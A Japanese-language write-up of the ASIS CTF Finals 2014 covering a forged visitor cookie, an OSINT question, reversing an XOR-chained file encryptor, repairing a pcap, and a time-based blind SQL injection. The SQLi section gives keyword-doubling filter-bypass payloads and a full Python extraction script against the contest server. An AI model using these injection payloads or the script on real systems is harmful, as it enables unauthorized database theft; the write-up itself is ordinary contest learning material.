ASIS CTF Finals 2014 Writeup
日本時間の10/11~13で ASIS CTF Finals 2014 が開催された。
本戦出場権がなくても参加可能であり、某チームで参加してきたのでWriteup。
全体的にはstegoがやたら難しかったのと、バイナリはx86-64が多くてしっかり見れなかったイメージ。
苦手アーキがあるとダメだな。。
Lottery
Web問題。
まずはページにアクセスする。
1234567890番目にアクセスするとご褒美がもらえる模様。
もう一度アクセスしてみると、「何度目の訪問者か」が表示される。
1234567890番目には程遠い。
ここで、リクエストの Cookie を表示してみると、それっぽいCookie "Visitor" が存在することがわかる。
この値をbase64decodeすると、以下の値になっていることがわかる。
[rintaro@rintaro_PC] $ echo "Nzg3OjM2MjFmMTQ1NGNhY2Y5OTU1MzBlYTUzNjUyZGRmOGZi"|base64 -d 787:3621f1454cacf995530ea53652ddf8fb%
左がカウンターで、右がそのMD5になっているため、
左を1234567890、右をそのMD5にしたものを "Visitor" にセットしてアクセスしたらFlagが出力された。
1234567890:e807f1fcf82d132f9bb018ca6738a19f ↓ MTIzNDU2Nzg5MDplODA3ZjFmY2Y4MmQxMzJmOWJiMDE4Y2E2NzM4YTE5Zg%3D%3D
Flag.
ASIS_9f1af649f25108144fc38a01f8767c0c
Fact or Real?
Recon、いわゆるネットストーキングの問題。問題文は、
ASIS_md5(motto)
なにかのモットーを答えれば良い。
Fact or Real のキーワードで探していくと、Twitterアカウントの @factoreal というものが ASIS-CTF manager のアカウントで存在することがわかる。
Flag.
ASIS_d25b9c2f1c29e49e81e8fdfaf4d16fc6
Lion Cub
reversing 問題。これはバイナリ解析しているときに、他の方に解析結果出してもらったので、実はそこまで仕事してない(ぇ
けど取り組んだので紹介する。
問題文
Flag is encrypted using this program, can you find it? simple_f0455e55c1d236a28387d04d5a8672ad.tar
問題を取得し、解凍すると "flag.enc" という暗号ファイルと x86-64 のELFファイルが出てくる。
[rintaro@rintaro_PC] $ file simple_5c4d29f0e7eeefd7c770a22a93a1daa9 simple_5c4d29f0e7eeefd7c770a22a93a1daa9: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=ab7a63652b0602fb5e73b31aa0cecbf1466bb719, stripped [rintaro@rintaro_PC] $
x64は、慣れた逆アセンブラがないなーと思いながらGDBで追いかける。
しかもC++だ…。
バイナリを見ていると、
400c2c あたりから、 "flag" というファイルから値を取ってきて、変換し、 "flag.enc" というファイルに出力しているみたい。
gdb-peda$ x/80i 0x400c2c => 0x400c2c: mov esi,0x400eec # 文字列 "flag" を読み込み 0x400c31: mov rdi,rax 0x400c34: call 0x400ab0 <_ZNSt14basic_ifstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode@plt> 0x400c39: lea rax,[rbp-0x440] 0x400c40: mov rdi,rax 0x400c43: call 0x400ac0 <_ZNSt14basic_ofstreamIcSt11char_traitsIcEEC1Ev@plt> …… 0x400cd1: lea rax,[rbp-0x240] 0x400cd8: mov rsi,rcx 0x400cdb: mov rdi,rax 0x400cde: call 0x400a50 <_ZNSi4readEPcl@plt> # std::istream::read を呼び出し …… 0x400d05: mov eax,DWORD PTR [rbp-0x14] # ループカウンタ取得 0x400d08: movsxd rdx,eax 0x400d0b: mov rax,QWORD PTR [rbp-0x20] # "flag" から読み込んだ文字列ロード 0x400d0f: add rax,rdx 0x400d12: movzx edx,BYTE PTR [rax] # 1文字取り出して 0x400d15: mov eax,DWORD PTR [rbp-0x14] 0x400d18: cdqe 0x400d1a: lea rcx,[rax+0x1] 0x400d1e: mov rax,QWORD PTR [rbp-0x20] 0x400d22: add rax,rcx 0x400d25: movzx eax,BYTE PTR [rax] # 1文字次の値も取り出して 0x400d28: xor eax,edx # その2つを XOR 0x400d2a: movsx edx,al 0x400d2d: lea rax,[rbp-0x440] 0x400d34: mov esi,edx 0x400d36: mov rdi,rax 0x400d39: call 0x400a40 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_c@plt> 0x400d3e: add DWORD PTR [rbp-0x14],0x1 # ループカウンタをインクリメント 0x400d42: lea rax,[rbp-0x30] 0x400d46: mov rdi,rax 0x400d49: call 0x400e22 0x400d4e: sub eax,0x1 0x400d51: cmp eax,DWORD PTR [rbp-0x14] 0x400d54: setg al 0x400d57: test al,al 0x400d59: jne 0x400d05 ……
要するに、"flag" ファイルから、 flag[i] ^ flag[i+1] の処理をして flag.enc を生成している。
ここらへんまで読んでいたら、他の方が復元ファイルを作ってくれていた。
なんか復元部分がメインのような気もするが、先に進む。
1f8b0808928d2f540003666c61672e706e67000192016dfe89504e470d0a 1a0a0000000d494844520000006f0000006f0103000000d80b0c23000000 06504c5445000000ffffffa5d99fdd0000000274524e53ffffc8b5dfc700 0000097048597300000b1200000b1201d2dd7efc0000012449444154388d d5d431ae84201006e079b1a0d30b90cc35e8b8925e40e5027a253aae41e2 05b0a320ce1bb2bbef651b87668b25167e0501867f007a1bf01d4c004be8 76af0150e449650a71087aa1067afee9762aa36ae2a8746f7523674bbb2f 4de4250c12fd6ff2867cde2968fefe8e7f431e17943af155d81b26d06068 b3dd661a68d005987cfc219997e23b8ab3c24bc9a4808e3acab4da065204 a541e166506402e4592ec71148e499cbe0f914b42a99c91eb59221824591 e4613475b9dd93c804e4087a13472bf3ac05e7781f6b0b0326551be77147 02b35e38540a0064f2481c6fc2d3cbe4c472bc5dd613c9e45e98a10c19cf 576bdc915b9213cbbb524d9c88d73ab667ad44d667e419957b72ffdace79 bc8ccc47fff696eb2ff3734feea7f80bb686232e7a493424000000004945 4e44ae426082fb73fb8e92010000
最初の"1f 8b"で、どう見てもgzipです。(←これ、一度は言ってみたかった)
このとおりのバイト列でgzipファイルを作成し、解凍すると、flag.png が展開される。
これを読み込むとFlagが表示された。
ASIS_e87b556efc59f8351aec0858da850906
大会中には "flag" ファイル逆算は書きませんでした。
読むの遅いからなぁ。。
(追記)大会後だが、どうせなので復元スクリプト書いてみた。
import os f=open('flag.enc', 'r') data = f.read() f.close() for i in range(0x100): os.system('touch flag_' + str(i)) f_o=open('flag_' + str(i), 'r+b') f_o.write(chr(i)) for j in range(len(data)): seed = data[j] xored = i^ord(seed) f_o.write(chr(xored)) i = xored f_o.close()
このあと、flag_xxx に対してループでfileコマンドを仕掛けると gzip になってるやつがいて、それを解凍すると最初のQRコードなpngファイルが展開されるというものだった。
Capsule
NW問題。Find the flag in this file. capsule_239acad5fcfe4722e624da66c9c02542
ファイルが与えられ、見てみるとpcapngファイルになってる。
[rintaro@rintaro_PC] $ file capsule_239acad5fcfe4722e624da66c9c02542 capsule_239acad5fcfe4722e624da66c9c02542: pcap-ng capture file - version 1.256
だが、壊れていてWiresharkではうまく開くことができない。
pcapfixを使って復元する。
C:\Users\rintaro\Documents\security\tool\pcapfix-1.0.2-win32> .\pcapfix -n capsule_239acad5fcfe4722e624da66c9c02542.pcapng
中身を見るとAFPとかいうやつでやりとりされている。
"dsi"でフィルターし、Lengthでソート。
flagないかなーと思いながら、画像ファイルの復元をしていっている途中で、テキストのResponseの中に怪しい文字列を発見する。
_ ____ ___ ____ _____ _ ___ __ ___ _ _ ___ _ _ _ _ __ ___ ___ _ _ _ _____ _ ___ _ ____ ___ / \ / ___|_ _/ ___| |___ // |( _ ) / _| ___ / _ \| |__ / | ___ / _ \ __| | __| | || | / _| __ _ / _ \ __ _ ( _ ) __| | ___ __ _| || ||___ / ___ __| | __ _ ___ ___ ( _ )| |__|___ \ / _ \ / _ \ \___ \| |\___ \ |_ \| |/ _ \| |_ / _ \ | | | '_ \| |/ __| | | |/ _` |/ _` | || |_| |_ / _` | | | |/ _` |/ _ \ / _` |/ __/ _` | || |_ |_ \ / _ \/ _` |/ _` |/ __/ _ \/ _ \| '_ \ __) | | | | / ___ \ ___) | | ___) | ___) | | (_) | _| __/ |_| | |_) | | (__| |_| | (_| | (_| |__ _| _| (_| | |_| | (_| | (_) | (_| | (_| (_| |__ _|__) | __/ (_| | (_| | (_| __/ (_) | |_) / __/| |_| | /_/ \_\____/___|____/___|____/|_|\___/|_| \___|\___/|_.__/|_|\___|\___/ \__,_|\__,_| |_| |_| \__,_|\___/ \__,_|\___/ \__,_|\___\__,_| |_||____/ \___|\__,_|\__,_|\___\___|\___/|_.__/_____|\___/ |_____|
ということで答え。
ASIS_318fe0b1c0dd4fa0a8dca43edace8b20
Voting
これもWeb問題。アクセスすると、OSの種類を聞かれる。
普通に回答すると、投票結果が表示される。
Cookieなどは使っておらず、純粋に値をPOSTするだけのアプリケーションの模様。
POSTする値を改竄し、"win" のところを "win'" としてみると、SQL Syntaxエラーとなる。
特にSQL結果を表示する箇所もないため、Blind SQLi であることがわかる。
予約語は1度エスケープされる仕様らしく、次のように送るとSQLが成功する。
win' AANDND 'a' = 'a
さらに、Blind SQLi の判定に何か使えないか探していたら、徳丸さんのブログが引っかかる。さすが徳丸さん。
ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012
sleep関数で判定できそうなので、これでSQL成否の判定をすることにする。
1=1の部分を判定したいSQLに置換して確認する。
win' AANDND (SESELECTLECT if(1=1,sleep(5),nunullll)) AANDND 'a' = 'a
あとは肝心なテーブル内容読み出しだ。
MySQL なので、information_schemaにアクセスしようとしても、どうしてもうまくいかない。。。
と思ったら、"information_schema" の文字列の "or" がエスケープされているようだ。
(これ発見するまでに時間すごいかけた)
さらに普通のSELECTだとロックされていると怒られるので、最終的には次のような構文とした。
win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM infoorrmation_schema.columns WHWHEREERE TABLE_NAME LIKE '%FLAG%' LOCK IN SHARE MODE) > 0,sleep(5),nunullll)) AANDND 'a' = 'a
これでテーブル名がひっかかった。
"%FLAG%" のところを "%FLAG" → "____FLAG" とかに絞っていく。
このやり方でテーブル名、カラム名、テーブルスキーマ名を特定していく。これは手動では面倒なのでスクリプトでやっていった。
すると、それぞれ
であることがわかる。
最終的には、flagは以下のLIKE文でひっかかる。
win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM poll.tbl_flag WHWHEREERE FLAG LIKE 'ASIS_________________________________' LOCK IN SHARE MODE) > 0,sleep(5),nunullll)) AANDND 'a' = 'a
ここまでわかれば、あとはスクリプトを回すだけ。
整形してないけど載せておく。
#!/usr/bin/env python import urllib,urllib2 import time url = 'http://asis-ctf.ir:12441/index.php' flg = ["A","S","I","S","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_"] characters=list('abcdefABCDEF1234567890') i=5 j=0 while True: s = characters[j] flg[i] = s os = "win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM poll.tbl_flag WHWHEREERE FLAG LIKE '"+"".join(flg)+"' LOCK IN SHARE MODE) > 0,sleep(10),nunullll)) AANDND 'a' = 'a" params = {'os' : os, 'submit' : 'Submit' } params = urllib.urlencode(params) req = urllib2.Request(url) # add header req.add_header('Content-Type', 'application/x-www-form-urlencoded') req.add_header('Referer', 'http://asis-ctf.ir:12441/index.php') # add parameter req.add_data(params) try: start = time.time() res = urllib2.urlopen(req) body = res.read() elasped = time.time() - start j+=1 if int(elasped) >= 10: i+=1 j=0 print "".join(flg) elif s == '0': flg[i] = '_' i+=1 j=0 print "".join(flg) except urllib2.HTTPError, e: print e.reason print e.code print e.read() break if 37 == i: break
[rintaro@rintaro_PC] $ python post_search_info.py ASIS_1_______________________________ ASIS_1d______________________________ ASIS_1dc_____________________________ ASIS_1dc3____________________________ ASIS_1dc33___________________________ ASIS_1dc337__________________________ ASIS_1dc337d_________________________ ASIS_1dc337d6________________________ ASIS_1dc337d61_______________________ ASIS_1dc337d61d______________________ ASIS_1dc337d61da_____________________ ASIS_1dc337d61dac____________________ ASIS_1dc337d61dac5___________________ ASIS_1dc337d61dac5c__________________ ASIS_1dc337d61dac5cb_________________ ASIS_1dc337d61dac5cb9________________ ASIS_1dc337d61dac5cb91_______________ ASIS_1dc337d61dac5cb910______________ ASIS_1dc337d61dac5cb910e_____________ ASIS_1dc337d61dac5cb910eb____________ ASIS_1dc337d61dac5cb910eb5___________ ASIS_1dc337d61dac5cb910eb5b__________ ASIS_1dc337d61dac5cb910eb5b8_________ ASIS_1dc337d61dac5cb910eb5b8c________ ASIS_1dc337d61dac5cb910eb5b8c1_______ ASIS_1dc337d61dac5cb910eb5b8c17______ ASIS_1dc337d61dac5cb910eb5b8c17c_____ ASIS_1dc337d61dac5cb910eb5b8c17c5____ ASIS_1dc337d61dac5cb910eb5b8c17c52___ ASIS_1dc337d61dac5cb910eb5b8c17c52f__ ASIS_1dc337d61dac5cb910eb5b8c17c52fe_ ASIS_1dc337d61dac5cb910eb5b8c17c52fef [rintaro@rintaro_PC] $
Blind SQLi の問題に初めて遭遇したけど楽しかった。
ハマったところは以下。
- エスケープ処理が予期しないところに入っていた
- FROM句の後には "スキーマ名"."テーブル名"の指定が必要(これも気づかなくてTBL_FLAGの読み出しに時間かかった…)
他にも取り組んでいたけど、メインでやっていたわけではないので割愛。
アセンブラがことごとく x86-64 で、このままじゃヤバイと危機感を感じた。
GDBだけで見るのも時間かかるしなぁ。
CTFを始めて1年ぐらい経ってしまったし、他のアーキテクチャにも慣れはじめようと思う大会だった。